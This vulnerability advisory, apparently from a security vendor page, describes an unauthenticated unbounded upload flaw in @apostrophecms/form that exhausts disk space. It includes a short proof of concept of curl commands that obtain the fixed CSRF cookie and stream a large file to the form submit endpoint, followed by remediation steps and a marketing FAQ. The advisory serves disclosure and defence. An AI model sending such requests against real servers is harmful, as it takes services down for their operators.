Summary
ApostropheCMS: Unauthenticated unbounded multipart upload → disk-exhaustion DoS
Summary
The form submission endpoint runs multer({ dest: os.tmpdir() }).any() before authentication, API-key, CSRF-equivalent, or form-existence logic, with no size/count/rate limits. Unauthenticated users can stream unbounded bodies to disk per request; cleanup occurs only after the full body is received.
Detailspackages/form/index.js apiRoutes.post.submit (L274–296): [ multer({ dest: os.tmpdir() }).any(), self.normalizeFiles, async function (req) { try { submitForm } finally { unlink files } } ]. No limits, no rate limiting, no pre-validation. "CSRF" is a fixed-value double-submit cookie (vulnlab.csrf=csrf, set on any GET, express/index.js L694–703), trivially obtainable anonymously.
PoC
$ curl -s -c csrfjar.cookies http://localhost:3100/ # get vulnlab.csrf=csrf (any GET)
$ df -P /tmp # before: used=1105212
$ curl -b csrfjar.cookies -X POST http://localhost:3100/api/v1/@apostrophecms/form/submit \
-F "file=@/tmp/opencode/big.bin;type=application/octet-stream" &
DURING transfer: used=1148668
still transferring: used=1226936 # +121MB mid-transfer on disk
http=500 time=1.78s sent=209715411B # generic error AFTER full staging
# Anonymous, zero credentials. 200MB written to /tmp pre-validation.
Impact
Any unauthenticated client can force the server to persist entire request bodies to the temp filesystem and CPU-decode them; parallel requests exhaust disk /tmp (process/host crash) and saturate the event loop, a trivial remote DoS. Aborted transfers risk orphaning staged files (no req.aborted cleanup).
Remediation, Set multer limits (fileSize, fields, parts, fieldSize); perform auth/role/existence checks before the multer mount or inside the checked handler; unlink staged files on first read and on req.aborted/error; add per-IP rate limiting.
Impact
The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.
CVE-2026-113656 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.5.5); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-113656? CVE-2026-113656 is a medium-severity allocation of resources without limits or throttling vulnerability in @apostrophecms/form (npm), affecting versions < 1.5.5. It is fixed in 1.5.5. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
- How severe is CVE-2026-113656? CVE-2026-113656 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of @apostrophecms/form are affected by CVE-2026-113656? @apostrophecms/form (npm) versions < 1.5.5 is affected.
- Is there a fix for CVE-2026-113656? Yes. CVE-2026-113656 is fixed in 1.5.5. Upgrade to this version or later.
- Is CVE-2026-113656 exploitable, and should I be worried? Whether CVE-2026-113656 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-113656 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-113656? Upgrade
@apostrophecms/formto 1.5.5 or later.